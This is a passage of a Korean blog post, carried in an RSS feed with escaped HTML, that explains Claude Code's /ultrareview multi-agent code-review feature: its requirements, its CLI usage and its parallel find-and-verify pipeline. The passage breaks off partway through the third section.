      <title>Claude Code 'ultrareview'란 : 멀티 에이전트 코드 리뷰, 어떻게 작동하나 - 회당 $5~$20 추가 과금은 합리적 일까</title>
      <link>https://goddaehee.tistory.com/585</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/braBxl/dJMcaarxEqF/zhpcPrp6oaA2iKIXjXwRL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/braBxl/dJMcaarxEqF/zhpcPrp6oaA2iKIXjXwRL0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/braBxl/dJMcaarxEqF/zhpcPrp6oaA2iKIXjXwRL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbraBxl%2FdJMcaarxEqF%2FzhpcPrp6oaA2iKIXjXwRL0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;1112&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1112&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1080&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PwuQt/dJMcaf7p9el/kEl8ezGjXD8KPWgTLsO5x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PwuQt/dJMcaf7p9el/kEl8ezGjXD8KPWgTLsO5x1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PwuQt/dJMcaf7p9el/kEl8ezGjXD8KPWgTLsO5x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPwuQt%2FdJMcaf7p9el%2FkEl8ezGjXD8KPWgTLsO5x1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1080&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1080&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI가 코드를 쓰는 속도가 빨라질수록 리뷰하는 속도는 따라가지 못했다. Anthropic 내부 데이터에 따르면 엔지니어 1인당 코드 산출량이 지난 1년간 200% 증가했고, 코드 리뷰가 새로운 병목이 됐다. 이 문제를 해결하기 위해 Anthropic이 선택한 답이 &lt;code&gt;/ultrareview&lt;/code&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;는 원격 클라우드 샌드박스에서 에이전트 플릿이 병렬로 버그를 탐색하고, 별도 검증 단계에서 거짓 양성을 걸러낸 뒤 결과를 세션에 알림으로 돌려주는 멀티 에이전트 코드 리뷰 파이프라인이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 &lt;code&gt;/ultrareview&lt;/code&gt;가 무엇인지, 어떻게 작동하는지, 기존 &lt;code&gt;/review&lt;/code&gt;&amp;middot;Skill 기반 리뷰와 무엇이 다른지 공식 문서 기반으로 분석해보고자 한다.&lt;/p&gt;
&lt;!-- 시리즈 박스 --&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 20px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;/ultrareview란 무엇인가 &amp;mdash; 개념과 공식 정의&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;시작하기 &amp;mdash; 사전 요건과 CLI 실행 순서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;작동 방식 &amp;mdash; Find&amp;middot;Verify 파이프라인과 병렬 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;공개 정보 기반 아키텍처 추정&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;실전 적용 사례 &amp;mdash; 치명적 버그 탐지 3가지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;요금제 및 제한사항&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;/review vs /ultrareview vs Skill 기반 리뷰 비교&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7-1&quot;&gt;7-1. 비용 논란 &amp;mdash; 커뮤니티 반응&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7-2&quot;&gt;7-2. 앤트로픽의 슬래시 명령어 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;결정 매트릭스 + 도입 플레이북&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 1 --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. /ultrareview란 무엇인가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 &lt;code&gt;/ultrareview&lt;/code&gt;를 다음과 같이 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Ultrareview is a deep code review that runs on Claude Code on the web infrastructure. When you run &lt;code&gt;/ultrareview&lt;/code&gt;, Claude Code launches a fleet of reviewer agents in a remote sandbox to find bugs in your branch or pull request.&quot;&lt;br /&gt;(Ultrareview는 웹 기반 인프라에서 Claude Code를 통해 수행되는 심층 코드 리뷰입니다. /ultrareview 명령을 실행하면, Claude Code는 원격 샌드박스 환경에서 다수의 리뷰어 에이전트를 구동하여 브랜치 또는 Pull Request 내의 버그를 탐지합니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/88oH6/dJMcafl44iS/r1Qul8cBGYqrkJoFrZQGAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/88oH6/dJMcafl44iS/r1Qul8cBGYqrkJoFrZQGAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/88oH6/dJMcafl44iS/r1Qul8cBGYqrkJoFrZQGAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F88oH6%2FdJMcafl44iS%2Fr1Qul8cBGYqrkJoFrZQGAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2004&quot; height=&quot;1092&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 세 단어다. &lt;b&gt;원격(remote)&lt;/b&gt;, &lt;b&gt;샌드박스(sandbox)&lt;/b&gt;, &lt;b&gt;플릿(fleet)&lt;/b&gt;. 로컬 세션에서 실행되는 &lt;code&gt;/review&lt;/code&gt;와 달리, &lt;code&gt;/ultrareview&lt;/code&gt;는 Claude Code on the web 인프라 위에서 여러 에이전트가 동시에 브랜치 또는 PR을 분석한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 출시 발표에서 &lt;code&gt;/ultrareview&lt;/code&gt;를 &quot;변경 사항을 읽어내고 꼼꼼한 리뷰어가 잡을 만한 것을 플래그하는 전용 리뷰 세션&quot;이라고 설명했으며, Max 사용자 대상 Auto 모드 확장과 함께 공개됐다. 이는 &lt;code&gt;/ultrareview&lt;/code&gt;가 단순 기능 추가가 아니라 &quot;긴 작업을 더 적은 중단으로 실행&quot;하는 Claude Code 자동화 방향의 일환임을 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 전제부터 확인하고 넘어간다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/ultrareview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서는 &lt;code&gt;/ultrareview&lt;/code&gt;를 &lt;b&gt;research preview&lt;/b&gt; 기능으로 명시하고 있으며&lt;/a&gt;, &quot;기능&amp;middot;요금&amp;middot;가용성은 피드백에 따라 변경될 수 있다&quot;고 밝히고 있다. GA(정식 출시)가 아니므로, 현재 동작이 향후 달라질 수 있다는 점을 먼저 인지해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기존 /review 대비 3가지 강점&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;798&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbNpx8/dJMcabcR07i/k8JT6rLVV0Dqfje0pWXj90/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbNpx8/dJMcabcR07i/k8JT6rLVV0Dqfje0pWXj90/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbNpx8/dJMcabcR07i/k8JT6rLVV0Dqfje0pWXj90/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbNpx8%2FdJMcabcR07i%2Fk8JT6rLVV0Dqfje0pWXj90%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;798&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;798&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 &lt;code&gt;/review&lt;/code&gt; 대비 세 가지 강점을 명시한다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 24px; margin: 15px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;높은 신호(Higher signal)&lt;/b&gt;: 모든 발견 사항은 독립적으로 재현&amp;middot;검증된다. 스타일 제안 대신 실제 버그에 집중한 결과만 받는다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;넓은 커버리지(Broader coverage)&lt;/b&gt;: 여러 리뷰어 에이전트가 변경 사항을 병렬로 탐색하므로, 단일 패스 리뷰가 놓칠 수 있는 문제를 포착한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;로컬 리소스 무사용(No local resource use)&lt;/b&gt;: 리뷰가 원격 샌드박스에서 완전히 실행되므로, 리뷰 도중 터미널을 자유롭게 사용할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 가지 모두 홍보 문구가 아니다. &lt;code&gt;/ultrareview&lt;/code&gt;의 아키텍처에서 그대로 나온 특성들이다. Verify 단계, 병렬 플릿, 원격 실행 &amp;mdash; 각각이 '높은 신호', '넓은 커버리지', '로컬 리소스 무사용'의 실제 이유다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 시작하기 &amp;mdash; 사전 요건과 CLI 실행 순서&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사전 요건 확인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;를 실행하기 전에 두 가지 요건을 먼저 충족해야 한다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c5Orkd/dJMcadaEyIQ/FF5vKzhpxPCUNua0wx7eMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c5Orkd/dJMcadaEyIQ/FF5vKzhpxPCUNua0wx7eMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5Orkd/dJMcadaEyIQ/FF5vKzhpxPCUNua0wx7eMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc5Orkd%2FdJMcadaEyIQ%2FFF5vKzhpxPCUNua0wx7eMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1998&quot; height=&quot;1086&quot; data-origin-width=&quot;1998&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;요건 1: Claude Code v2.1.86 이상&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;는 Claude Code v2.1.86 이상에서 사용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어가 공식 추가된 시점은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/changelog#2-1-111&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v2.1.111(2026-04-16)&lt;/a&gt;이고, v2.1.113에서 UX 개선이 이뤄졌다. 2026-04-24 현재 최신 버전은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/changelog&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v2.1.119(2026-04-23 출시)&lt;/a&gt;이므로, 최신 버전으로 업데이트해 두는 것을 권장한다.&lt;/p&gt;
&lt;pre class=&quot;coffeescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 버전 확인
claude --version

# npm으로 최신 버전 업데이트
npm install -g @anthropic-ai/claude-code&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;요건 2: Claude.ai 계정 인증&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;는 Claude Code on the web 인프라에서 실행되기 때문에 Claude.ai 계정 인증이 필요하다. API 키만으로 로그인한 상태라면 아래 명령을 먼저 실행해야 한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# API 키만으로 로그인된 경우 Claude.ai 인증 추가
/login&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;주의&lt;/b&gt;: Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry 환경에서 Claude Code를 사용 중이면 &lt;code&gt;/ultrareview&lt;/code&gt;를 실행할 수 없다. Zero Data Retention을 활성화한 조직도 마찬가지다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;CLI 실행 순서&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사전 요건을 충족했다면, 실행 방법은 두 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 A: 현재 브랜치 리뷰&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인수 없이 실행하면 현재 브랜치와 기본 브랜치(main/master) 간의 diff를 리뷰한다. 커밋되지 않은 스테이징 변경 사항도 포함된다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 현재 브랜치 전체 리뷰
/ultrareview&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 B: GitHub PR 직접 리뷰&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# PR 번호를 인수로 전달
/ultrareview 1234&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PR 모드에서는 원격 샌드박스가 로컬 워킹 트리를 번들링하지 않고 GitHub에서 PR을 직접 클론한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모드는 저장소에 &lt;code&gt;github.com&lt;/code&gt; 원격이 설정되어 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실행 흐름: 확인 다이얼로그 &amp;rarr; 백그라운드 실행 &amp;rarr; 결과 수신&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령을 실행하면 곧바로 리뷰가 시작되지 않는다. 실행 전 확인 다이얼로그에서 세 가지 정보가 표시된다.&lt;/p&gt;
&lt;ol style=&quot;padding-left: 24px; margin: 15px 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;리뷰 범위 (파일 수&amp;middot;라인 수)&lt;/li&gt;
&lt;li&gt;남은 무료 실행 횟수&lt;/li&gt;
&lt;li&gt;예상 비용&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인 후 리뷰는 백그라운드에서 실행된다. 세션은 그대로 사용할 수 있다. 리뷰 진행 상황과 완료된 리뷰는 아래 명령으로 확인한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 실행 중&amp;middot;완료된 리뷰 목록 확인
/tasks&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리뷰 완료 시 검증된 발견 사항이 세션에 알림으로 표시되며, 각 발견 사항에는 파일 위치와 이슈 설명이 포함된다. Claude에게 곧바로 수정을 요청할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;저장소가 너무 클 때&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소가 너무 커 번들링이 불가한 경우, Claude Code는 PR 모드 사용을 권고한다. 브랜치를 푸시하고 draft PR을 열었다면 아래처럼 PR 번호를 직접 전달한다.&lt;/p&gt;
&lt;pre class=&quot;perl&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 대용량 저장소: PR 번호로 전달
git push origin feature/my-branch
# GitHub에서 draft PR 생성 후
/ultrareview 1234&lt;/code&gt;&lt;/pre&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 3 --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 작동 방식 &amp;mdash; Find&amp;middot;Verify 파이프라인과 병렬 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;병렬 탐색과 검증 단계&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgBMjh/dJMcagyukPZ/X15ebZ9lJ8YJzFLGvpEyFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgBMjh/dJMcagyukPZ/X15ebZ9lJ8YJzFLGvpEyFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgBMjh/dJMcagyukPZ/X15ebZ9lJ8YJzFLGvpEyFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgBMjh%2FdJMcagyukPZ%2FX15ebZ9lJ8YJzFLGvpEyFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;1078&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/ultrareview&lt;/code&gt;의 핵심 파이프라인은 두 단계로 구성된다. 공식 지원 문서는 이 흐름을 다음과 같이 설명한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;When a review runs, multiple agents analyze the diff and surrounding code in parallel. Each agent looks for a different class of issue, then a verification step checks results against actual code behavior to filter out false positives. Findings are deduplicated, ranked by severity, and posted as inline comments on the specific lines where issues were found.&quot;&lt;br /&gt;(코드 리뷰가 실행되면, 여러 에이전트가 diff와 관련 코드 컨텍스트를 병렬로 분석합니다. 각 에이전트는 서로 다른 유형의 이슈를 탐지하며, 이후 검증 단계에서 실제 코드 동작과 대조하여 false positive를 제거합니다. 그 후 결과는 중복 제거 및 심각도 기준으로 정렬되며, 문제가 발견된 정확한 코드 라인에 inline 코멘트 형태로 게시됩니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 에이전트는 서로 다른 이슈 유형을 탐색한다(보안 취약점, 로직 오류, 타입 불일치 등). 이후 검증 단계에서 실제 코드 동작과 비교해 거짓 양성을 필터링한다. 중복을 제거한 뒤 심각도순으로 정렬해 결과가 나온다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oyCID/dJMcafzCwga/BdVhfPF6fzKhsaIWkJQcm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oyCID/dJMcafzCwga/BdVhfPF6fzKhsaIWkJQcm1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oyCID/dJMcafzCwga/BdVhfPF6fzKhsaIWkJQcm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoyCID%2FdJMcafzCwga%2FBdVhfPF6fzKhsaIWkJQcm1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2020&quot; 